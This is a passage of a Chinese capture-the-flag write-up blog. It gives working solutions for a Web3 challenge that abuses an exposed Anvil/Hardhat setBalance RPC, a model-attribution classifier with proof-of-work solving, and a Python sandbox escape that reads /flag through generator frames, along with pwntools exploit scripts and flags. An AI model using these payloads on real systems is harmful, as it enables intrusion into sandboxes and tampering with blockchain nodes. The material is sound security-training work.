src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3231\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5ba1\u67e5\u9875\u9762\u63d0\u4f9b\u7684 WrappedEther.sol \u6e90\u7801\uff0c\u53d1\u73b0 withdrawAll() \u51fd\u6570\u5728\u66f4\u65b0\u4f59\u989d\uff08balanceOf&#91;msg.sender] = 0\uff09\u4e4b\u524d\u5148\u6267\u884c\u4e86\u8f6c\u8d26\uff08sendEth\uff09\uff0c\u6709\u91cd\u5165\u6f0f\u6d1e\u3002<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-221-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-221-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3232\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4f46\u662f\uff0c\u5408\u7ea6\u4e2d\u5b58\u5728 checkChallenger \u4fee\u9970\u5668\uff0c\u4e25\u683c\u9650\u5236\u4e86\u8c03\u7528\u8005 msg.sender \u5fc5\u987b\u662f\u5e73\u53f0\u5206\u914d\u7684 EOA\uff08\u5916\u90e8\u62e5\u6709\u8d26\u6237\uff09\u5730\u5740\u3002EOA \u8d26\u6237\u6ca1\u6709\u4ee3\u7801\uff0c\u65e0\u6cd5\u5728\u63a5\u6536\u5230\u4ee5\u592a\u574a\u65f6\u89e6\u53d1 fallback \u6216 receive \u8fdb\u884c\u4e8c\u6b21\u8c03\u7528\u3002\u56e0\u6b64\uff0c\u91cd\u5165\u5e94\u8be5\u4e00\u5047\u7684\uff0c\u5e38\u89c4\u7684\u94fe\u4e0a\u5408\u7ea6\u653b\u51fb\u65e0\u6cd5\u751f\u6548\u3002<\/code><\/pre>\n\n\n\n<p>\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9898\u76ee\u76f4\u63a5\u66b4\u9732\u4e86 \/rpc \u63a5\u53e3\uff0c\u5e95\u5c42\u73af\u5883\u901a\u5e38\u7531 Foundry (Anvil) \u6216 Hardhat \u9a71\u52a8\u3002\u51fa\u9898\u4eba\u5982\u679c\u6ca1\u6709\u5bf9 RPC \u65b9\u6cd5\u8fdb\u884c\u4e25\u683c\u7684\u767d\u540d\u5355\u8fc7\u6ee4\uff0c\u6d4b\u8bd5\u7f51\u9ed8\u8ba4\u4f1a\u5f00\u7684 Cheat Codes\u3002<\/code><\/pre>\n\n\n\n<p>\u5229\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5229\u7528\u601d\u8def\uff1a\u76f4\u63a5\u8df3\u8fc7\u5408\u7ea6\u903b\u8f91\uff0c\u901a\u8fc7 HTTP POST \u8bf7\u6c42\u5411 RPC \u53d1\u9001 anvil_setBalance \u6216 hardhat_setBalance \u65b9\u6cd5\uff0c\u5c06\u76ee\u6807 WETH \u5408\u7ea6\u7684\u4f59\u989d\u5f3a\u5236\u7be1\u6539\u4e3a 0\uff0c\u4ece\u800c\u76f4\u63a5\u6ee1\u8db3 Setup.sol \u4e2d isSolved() \u7684\u901a\u5173\u6761\u4ef6\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nfrom web3 import Web3\nimport time\n\nBASE_URL = \"http:\/\/80-567f608a-3866-446e-b286-0048279b3dcf.challenge.ctfplus.cn\"\nRPC_URL = f\"{BASE_URL}\/rpc\"\nAPI_URL = f\"{BASE_URL}\/api\/solve\"\nTARGET_WETH = \"0xCafac3dD18aC6c6e92c921884f9E4176737C052c\"\n\nw3 = Web3(Web3.HTTPProvider(RPC_URL))\n\npayload_anvil = {\n    \"jsonrpc\": \"2.0\",\n    \"method\": \"anvil_setBalance\",\n    \"params\": &#91;TARGET_WETH, \"0x0\"],\n    \"id\": 1\n}\n\npayload_hardhat = {\n    \"jsonrpc\": \"2.0\",\n    \"method\": \"hardhat_setBalance\",\n    \"params\": &#91;TARGET_WETH, \"0x0\"],\n    \"id\": 2\n}\n\ntry:\n    requests.post(RPC_URL, json=payload_anvil)\nexcept:\n    pass\n\ntry:\n    requests.post(RPC_URL, json=payload_hardhat)\nexcept:\n    pass\n\ntime.sleep(1)\n\nif w3.eth.get_balance(TARGET_WETH) == 0:\n    response = requests.post(API_URL, headers={'Content-Type': 'application\/json'})\n    print(response.json().get('flag'))<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-222-1024x316.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"316\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-222-1024x316.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3233\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{81e9c88d-05ce-48be-8359-dcfa5e77a0fa}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ModelMark<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-223.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"725\" height=\"544\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-223.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3234\"  sizes=\"auto, (max-width: 725px) 100vw, 725px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-224.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"826\" height=\"191\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-224.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3235\"  sizes=\"auto, (max-width: 826px) 100vw, 826px\" \/><\/div><\/figure>\n\n\n\n<p>\u670d\u52a1\u7aef\u4f1a\u968f\u673a\u751f\u6210\u4e00\u4e2a\u524d\u7f00\uff08\u4f8b\u5982 58B3v9\uff09\uff0c\u8981\u6c42\u4f60\u63d0\u4ea4\u4e00\u4e2a\u5b57\u7b26\u4e32 x\uff0c\u4f7f\u5f97 \u524d\u7f00 + x \u7684 SHA256 \u54c8\u5e0c\u503c\u4ee5\u6307\u5b9a\u7684\u5b57\u7b26\uff08\u5982 0000\uff09\u5f00\u5934\uff0c \u89e3\u51fa\u8fd8\u6709\u7b2c\u4e8c\u5173<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-225.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-225.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3236\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<p>\u8003\u70b9<\/p>\n\n\n\n<p>PoW \u9a8c\u8bc1\u7ed5\u8fc7\uff1a\u901a\u8fc7 SHA256 \u54c8\u5e0c\u7206\u7834\u6ee1\u8db3\u6307\u5b9a\u524d\u7f00,\u6587\u672c\u5206\u7c7b\/\u673a\u5668\u5b66\u4e60<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5229\u7528\u7ed9\u5b9a\u7684 dataset_train.json \u8fdb\u884c\u6a21\u578b\u5f52\u5c5e\u9884\u6d4b\u3002\u7531\u4e8e\u670d\u52a1\u7aef\u4e0b\u53d1\u7684\u6570\u636e\u4f1a\u5e26\u6709 &lt;think> \u6807\u7b7e\u6216\u6392\u7248\u53d8\u52a8\uff0c\u5355\u7eaf\u7684\u54c8\u5e0c\u6216\u7b49\u503c\u5339\u914d\u4f1a\u5931\u6548\uff0c\u9700\u8981\u63d0\u53d6\u5b57\u7b26\u7ea7\u7279\u5f81\u5e76\u4f7f\u7528 SVM \u8fdb\u884c\u5206\u7c7b\u8bc6\u522b\u3002<\/code><\/pre>\n\n\n\n<p>\u89e3\u9898\u601d\u8def<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8fde\u63a5\u4e0e PoW\uff1anc \u8fde\u4e0a\u540e\uff0c\u63d0\u53d6\u524d\u7f00\uff0c\u672c\u5730\u5faa\u73af\u8ba1\u7b97 sha256(prefix + x)\uff0c\u6ee1\u8db3\u6761\u4ef6\u540e\u63d0\u4ea4 x\u3002\n\n\u6570\u636e\u9884\u5904\u7406\u4e0e\u6a21\u578b\u8bad\u7ec3\uff1a\n\u8bfb\u53d6\u672c\u5730 JSON \u6570\u636e\u96c6\u3002\n\u6784\u5efa\u4e00\u4e2a\u7eaf\u6587\u672c\u5b57\u5178\uff08\u53bb\u9664\u6240\u6709\u7a7a\u683c\u3001\u6362\u884c\uff09\uff0c\u7528\u4e8e\u7cbe\u51c6\u5339\u914d\u539f\u9898\uff0c\u4fdd\u8bc1 100% \u51c6\u786e\u7387\u3002\n\u6784\u5efa\u4e00\u4e2a\u673a\u5668\u5b66\u4e60\u5206\u7c7b\u5668\uff08TF-IDF + LinearSVC\uff09\u3002\u63d0\u53d6 3-5 \u4e2a\u5b57\u7b26\u957f\u5ea6\u7684\u7279\u5f81\uff08\u80fd\u7cbe\u51c6\u6355\u6349\u5927\u6a21\u578b\u7279\u6709\u7684 &lt;\/think&gt; \u6807\u7b7e\u6216\u6392\u7248\u4e60\u60ef\uff09\uff0c\u4f7f\u7528\u5b8c\u6574\u6570\u636e\u96c6\u8fdb\u884c\u8bad\u7ec3\uff0c\u7528\u4e8e\u515c\u5e95\u9884\u6d4b\u670d\u52a1\u7aef\u52a8\u6001\u751f\u6210\u7684\u53d8\u79cd\u56de\u7b54\u3002\n\u81ea\u52a8\u7b54\u9898\u903b\u8f91\uff1a\u901a\u8fc7\u6b63\u5219\u63d0\u53d6\u670d\u52a1\u7aef\u7684 Answer \u548c\u9009\u9879\u5217\u8868\u3002\u5148\u67e5\u5b57\u5178\uff0c\u67e5\u4e0d\u5230\u5219\u8d70 SVM \u9884\u6d4b\uff0c\u5c06\u9884\u6d4b\u7ed3\u679c\u5bf9\u5e94\u7684\u6570\u5b57\u9009\u9879\u53d1\u56de\u670d\u52a1\u7aef\u3002\u5916\u5c42\u5957\u4e00\u4e2a while True\uff0c\u5373\u4fbf\u4e2d\u9014\u9884\u6d4b\u9519\u65ad\u5f00\u8fde\u80dc\uff0c\u4e5f\u4f1a\u81ea\u52a8\u91cd\u8bd5\uff0c\u76f4\u5230\u8fde\u7eed\u7b54\u5bf9 8 \u9898\u5237\u51fa flag\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import json\nimport hashlib\nimport re\nimport sys\nfrom pwn import *\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.svm import LinearSVC\nfrom sklearn.pipeline import make_pipeline\n\ndef solve_pow(prefix, target=\"0000\"):\n    for i in range(10000000):\n        x = str(i)\n        if hashlib.sha256((prefix + x).encode()).hexdigest().startswith(target):\n            return x\n    return None\n\ndef normalize(text):\n    return re.sub(r's+', '', text)\n\ndef train_hybrid_model(filepath):\n    with open(filepath, 'r', encoding='utf-8') as f:\n        data = json.load(f)\n\n    exact_match_db = {}\n    X = &#91;]\n    y = &#91;]\n\n    for item in data:\n        ans = item&#91;'answer']\n        mod = item&#91;'model']\n        exact_match_db&#91;normalize(ans)] = mod\n        X.append(ans)\n        y.append(mod)\n\n    clf = make_pipeline(TfidfVectorizer(analyzer='char', ngram_range=(3, 5)), LinearSVC(C=1.0))\n    clf.fit(X, y)\n\n    return exact_match_db, clf\n\ndef main():\n    host = 'nc1.ctfplus.cn'\n    port = 21819\n    dataset_file = 'dataset_train.json'\n\n    exact_match_db, classifier = train_hybrid_model(dataset_file)\n\n    r = remote(host, port)\n    r.recvuntil(b\"sha256(\")\n    prefix = r.recvuntil(b\" + x)\", drop=True).decode()\n    r.recvuntil(b\"starts with \")\n    target = r.recvline().strip().decode()\n\n    x = solve_pow(prefix, target)\n    r.recvuntil(b\"x = \")\n    r.sendline(x.encode())\n\n    buffer = \"\"\n    while True:\n        try:\n            chunk = r.recv(1024).decode('utf-8', errors='ignore')\n            if not chunk:\n                break\n            buffer += chunk\n            sys.stdout.write(chunk)\n            sys.stdout.flush()\n\n            if \"xmctf{\" in buffer.lower() or \"flag{\" in buffer.lower():\n                break\n\n            if \"&gt; \" in buffer and \"Which model?\" in buffer:\n                ans_match = re.search(r'Answer:s*(.*?)s*Which model?', buffer, re.DOTALL)\n                if ans_match:\n                    answer_raw = ans_match.group(1).strip()\n\n                    options = {}\n                    for line in buffer.split('n'):\n                        line = line.strip()\n                        if ')' in line and ' ' in line:\n                            parts = line.split(')', 1)\n                            if len(parts) == 2 and parts&#91;0].isdigit():\n                                options&#91;parts&#91;1].strip()] = parts&#91;0].strip()\n\n                    ans_norm = normalize(answer_raw)\n                    if ans_norm in exact_match_db:\n                        predicted_model = exact_match_db&#91;ans_norm]\n                    else:\n                        predicted_model = classifier.predict(&#91;answer_raw])&#91;0]\n\n                    choice_num = options.get(predicted_model)\n                    if choice_num:\n                        r.sendline(choice_num.encode())\n                    else:\n                        r.sendline(b\"1\")\n                    buffer = \"\"\n        except Exception:\n            break\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-226-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-226-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3237\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{fb30c811-f64a-4543-a4da-8f8d2bd336d4}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ez_pyjail<\/h2>\n\n\n\n<p>\u4e0d\u50cfMisc \u8fd9\u4e0d\u5c31\u662fWeb\u5417\uff1f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-227-1024x617.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"617\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-227-1024x617.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3238\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-228-1024x164.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"164\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-228-1024x164.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3239\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>assert ascii(x)&#91;1:-1] != x.replace(\"__\",\"\")&#91;:105], run_jail(x)\neval(x, {'__builtins__':{}}, {'__builtins__':{}})\n\n\u89e6\u53d1\u6267\u884c\uff1a\u5fc5\u987b\u8ba9 assert \u65ad\u8a00\u5931\u8d25\uff08\u5de6\u53f3\u4e24\u8fb9\u76f8\u7b49\uff09\u624d\u80fd\u6267\u884c\u540e\u534a\u622a\u7684 run_jail\u3002\n\u9650\u5236\u6761\u4ef6\uff1a\npayload \u957f\u5ea6\u4e0d\u80fd\u8d85\u8fc7 105\u3002\n\u4e0d\u80fd\u5305\u542b\u53cc\u4e0b\u5212\u7ebf __\u3002\n\u53ea\u80fd\u5305\u542b\u7eaf ASCII \u5b57\u7b26\u4e14\u5355\u53cc\u5f15\u53f7\u4e0d\u80fd\u6df7\u7528\uff08\u9632\u6b62 ascii() \u8f6c\u4e49\u5bfc\u81f4\u957f\u5ea6\/\u5185\u5bb9\u4e0d\u4e00\u81f4\uff09\u3002\n\u6c99\u7bb1\u73af\u5883\uff1aeval \u7684 globals \u548c locals \u7f6e\u7a7a\uff0c\u65e0 __builtins__\u3002<\/code><\/pre>\n\n\n\n<p>\u9003\u9038\u601d\u8def<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6062\u590d builtins\uff1a\u5229\u7528\u751f\u6210\u5668\u5bf9\u8c61\u7684\u5e27\u6808 gi_frame.f_back.f_back.f_builtins \u8df3\u51fa\u53d7\u9650\u4f5c\u7528\u57df\uff0c\u62ff\u5230\u539f\u751f builtins\u3002\n\u89c4\u907f Python 3.11+ \u5e27\u4f18\u5316\uff1a\u5728 3.11+ \u4e2d\uff0c\u672a\u8fd0\u884c\u7684\u751f\u6210\u5668 f_back \u4e3a None\u3002\u6784\u9020\u81ea\u8fed\u4ee3\u751f\u6210\u5668 (l:=&#91;]).append(... for i in l)\uff0c\u8ba9\u751f\u6210\u5668\u5728\u8fd0\u884c\u7684\u77ac\u95f4\u6293\u53d6\u81ea\u8eab\u7684\u5e27\u3002\n\n\u65e0\u5185\u7f6e\u51fd\u6570\u89e6\u53d1\u6267\u884c\uff1a\u6c99\u7bb1\u5185\u65e0 next \u6216 list \u51fd\u6570\u3002\u5229\u7528\u661f\u53f7\u89e3\u5305 &#91;*...] \u5f3a\u5236\u5c55\u5f00\u751f\u6210\u5668\u89e6\u53d1\u4ee3\u7801\u6267\u884c\u3002\n\u62a5\u9519\u5e26\u51fa\uff08\u56de\u663e\u76f2\u6ce8\uff09\uff1arun_jail \u65e0\u8f93\u51fa\u3002\u5229\u7528\u5b57\u5178\u952e\u9519\u8bef {}&#91;payload]\uff0c\u5c06\u8bfb\u51fa\u7684 flag \u4f5c\u4e3a\u4e0d\u5b58\u5728\u7684\u952e\u540d\uff0c\u89e6\u53d1 KeyError \u628a flag \u629b\u5230 stderr\u3002<\/code><\/pre>\n\n\n\n<p>Payload<\/p>\n\n\n\n<p>\u6781\u9650\u538b\u7f29\uff0c\u6700\u7ec8\u8bfb\u53d6 \/flag \u7684 payload \u957f\u5ea6\u4e3a 104\uff08\u6ee1\u8db3 &lt;=105\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{}&#91;&#91;*((l:=&#91;]).append(i.gi_frame.f_back.f_back.f_builtins&#91;'open']('\/flag').read()for i in l)or l&#91;0])]&#91;0]]<\/code><\/pre>\n\n\n\n<p>\u81ea\u52a8\u4ea4\u4e92exp<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ndef pwn():\n    host = 'nc1.ctfplus.cn'\n    port = 35140\n    io = remote(host, port)\n    io.recvuntil(b\"payload:\")\n\n    payload = \"{}&#91;&#91;*((l:=&#91;]).append(i.gi_frame.f_back.f_back.f_builtins&#91;'open']('\/flag').read()for i in l)or l&#91;0])]&#91;0]]\"\n    io.sendline(payload.encode())\n\n    try:\n        res = io.recvall(timeout=3).decode('utf-8', errors='ignore')\n        print(res.strip())\n    except:\n        pass\n    finally:\n        io.close()\n\nif __name__ == '__main__':\n    pwn()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-229-1024x149.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"149\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-229-1024x149.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3240\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{29f349b9-a1b8-44b5-abcd-97ef37cf4c5f}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u95ee\u5377\u6536\u96c6<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-230-1024x529.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"529\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-230-1024x529.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3241\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-231.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"790\" height=\"589\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-231.png\" 